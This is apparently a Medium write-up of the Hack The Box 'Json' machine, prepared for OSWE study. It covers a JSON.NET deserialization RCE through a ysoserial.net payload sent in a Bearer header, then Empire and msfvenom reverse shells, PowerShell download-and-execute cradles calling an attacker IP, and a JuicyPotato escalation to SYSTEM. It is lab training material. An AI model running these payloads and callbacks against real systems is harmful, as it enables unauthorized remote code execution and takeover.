[HTB] JSON — Write-up (OSWE-Prep)

Json was a medium difficulty Windows box. Good learning path for:

Initial Recon

Nmap

# nmap -Pn --open -sC -sV -p- -T4 10.10.10.158PORT     STATE  SERVICE      VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3h44m48s, deviation: 0s, median: 3h44m47s
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a4:ac:26 (VMware)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required

Web Server (HTTP — 80/TCP)

So from the initial scan, it looks like we need to focus on the web server first.

The front page was a login page, and it was configured with weak credentials:

Username = admin : Password = admin

Once logged in as “Admin” user, it was pretty dead end with the website itself. Pages and functions were either static or 404 not found.

Web Directory Enumeration (Dirsearch)

When you are targeting a web server, it is recommended to do directory brute-forcing to check if there are any hidden files/folders. I used Dirsearch tool to accomplish this.

/files/password.txt

There was a password.txt file under the /files folder, but it was a troll. -_-

However, an interesting file Account was found under the /api directory.

Web Server — Login (JSON Web Token)

Now, let’s focus on the login function. You can use the Burp proxy to capture the login to inspect what is going on.

As you can see it does JSON-based authentication to the web server. Let’s inspect the web response against this POST request.

So once we are authenticated, it provides us with OAuth2 access token to grant further access in the JWT (JSON Web Token) format. Just for FYI:

OAuth2 is a protocol that allows a user to grant limited access to their resources on one site, to another site, without having to expose their credentials.

JWT can be used as OAuth2 Bearer Tokens to encode all relevant parts of an access token into the access token itself instead of having to store them in a database.

We can also confirm this by base64-decoding OAuth2 token value.

echo -n "eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" | base64 -d{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Additionally, you can also see that the authenticated session is actually containing the JWT token in its cookie header using previously found /api/Account file.

Initial Foothold

JSON Deserialization Attack

Since the current user’s JWT can be retrieved from the /api/Account API request, we can check if this request can be vulnerable to deserialization by playing with Bearer: header.

1. Adding a pure Bearer: header:

When we add a Bearer: header with no value, we get a null response.

2. Adding a current OAuth2 value to Bearer: header:

When we add a Bearer: header with the current base64-encoded OAuth2 value, we get a decoded cookie value.

3. Adding a random value to Bearer: header:

When we add a random value (“bigb0ss”) this time, we get a JSON.Net deserialization error. This is interesting. Further investigation found that we could get a RCE on the box abusing this deserialization issue. I was able to find a really cool PoC payload from the ysoerial.net tool from GitHub. I simply copy and paste the JSON.net payload, modified $value: portion of the command and manually base64-encoded the payload to execute the attack.

JSON Deserialization Attack — RCE (ysoerial.net)

It was a blind-based RCE, so we can do a quick ping command to see if we have a successful RCE on the box.

### Creating a payload.txt file 
cat payload.txt
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd',' /c ping 10.10.14.29']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
### Base64-encoded payload.txt
cat payload.txt | base64
ewogICAgJyR0eXBlJzonU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUnLAogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsCiAgICAnTWV0aG9kUGFyYW1ldGVycyc6ewogICAgICAgICckdHlwZSc6J1N5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OScsCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywnICAvYyBwaW5nIDEwLjEwLjE0LjI5J10KICAgIH0sCiAgICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSd9Cn0K### Running payload with Curl
curl -X GET 'http://10.10.10.158/api/Account' -H 'Bearer: ewogICAgJyR0eXBlJzonU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUnLAogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsCiAgICAnTWV0aG9kUGFyYW1ldGVycyc6ewogICAgICAgICckdHlwZSc6J1N5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OScsCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywnICAvYyBwaW5nIDEwLjEwLjE0LjI5J10KICAgIH0sCiAgICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSd9Cn0K'

Once we run the above curl command, we will see the ICMP echo requests coming from the JSON box. We have a successful RCE on the box. :)

JSON Deserialization Attack — Reverse Shell

For the reverse shell, there are multiple ways to get it. I used Empire launch.bat payload to get an initial code execution and uploaded msfvenom to create an exe file to get an interactive meterpreter shell.

Empire

### Listener Configuration
uselistener http
set Host http://<Attacker IP>
execute
listeners
### Creating Payload
usestager windows/launcher.bat
set Listener http
generate

Once launch.bat payload is created, copy the powershell portion of the one-liner into our ysoserial.net deserialization payload.

### Empire payload.txt
cat payload_EMPIRE.txt
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['powershell','powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBlAHIAUwBpAG8ATgBUAGEAQgBsAGUALgBQAFMAVgBlAFIAcwBJ
...SNIP...
aABBAFIAWwBdAF0AKAAmACAAJABSACAAJABkAEEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA='
]
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
JaABBAFIAWwBdAF0AKAAmACAAJABSACAAJABkAEEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Again, base64-encode the payload_EMPIRE.txt and run that with curl command to get an Empire agent.

### Running payload with Curl
curl -X GET 'http://10.10.10.158/api/Account' -H 'Bearer:<Base64-encoded payload_EMPIRE.txt>

user.txt

The web server was running under the context of userpool user, and we have a privilege to read the user.txt file.

Meterpreter

### Msfvenom Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=443 -f exe > shell.exe

Then, we can upload the created shell.exe onto the JSON box via the current Empire shell.

### Empire Uploading Payload
shell powershell.exe iwr -Uri http://10.10.14.29:8000/shell.exe -outfile shell.exe
### Empire Executing Payload
shell cmd /c shell.exe

Privileged Escalation

userpool → NT System (JuicyPotato: SeImpersonatePrivilege — Enabled)

First thing that we need to do is to find out what kinds of privilege of the current user userpool.

c:\Users\userpool>whoami /priv

And we can see that we have SeImpersonatePrivilege enabled, which we can do a JuicyPotato attack to get a SYSTEM shell to escalate our privilege. Additionally, this box is a bit older Windows 2012 R2 server, so it may be a right path to perform this attack.

I found a good automated JuicyPotato attack PowerShell script created by TsukiCTF team called Lovely-Potato. Let’s use this to get our sexy SYSTEM shell. We just need to create another msfvenom reverse shell payload and host that on our own web server. Then, we just need to run the Invoke-LovelyPotato.ps1 on the target box. Let’s do it.

Attacker Box

### Creating Msfvenom Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=444 -f exe -o meterpreter.exe
### Modify "Invoke-LovelyPotato.ps1" Configuration Section
# Configuration
$RemoteDir = 'http://10.10.14.29:8000' # Attacker box web server
$LocalPath = 'C:\Temp' # Writable folder on the target box
### Running Multi/handler

Target Box

On the current meterpreter session, we can simply run the following PowerShell command.

### PowerShell Lovely-Potato
powershell.exe -nop "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.29:8000/Invoke-LovelyPotato.ps1')"

Once we run that command, we will see the files pulling from our web server.

And about 5 to 10 mins later, we will get the following outputs on the JSON box.

And on our multi/handler we successfully receive an elevated SYSTEM shell. :)

root.txt

With that access, we can go ahead and read the root.txt file.

Conclusion

I really enjoyed the abusing JSON deserialization and using ysoserial.net payload to get a code execution on the box. Another very awesome box to learn about deserialization vulnerability for OSWE journey. Thanks for reading!

Thanks to TJ_NULL for providing the list for the OSWE-like VMs

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store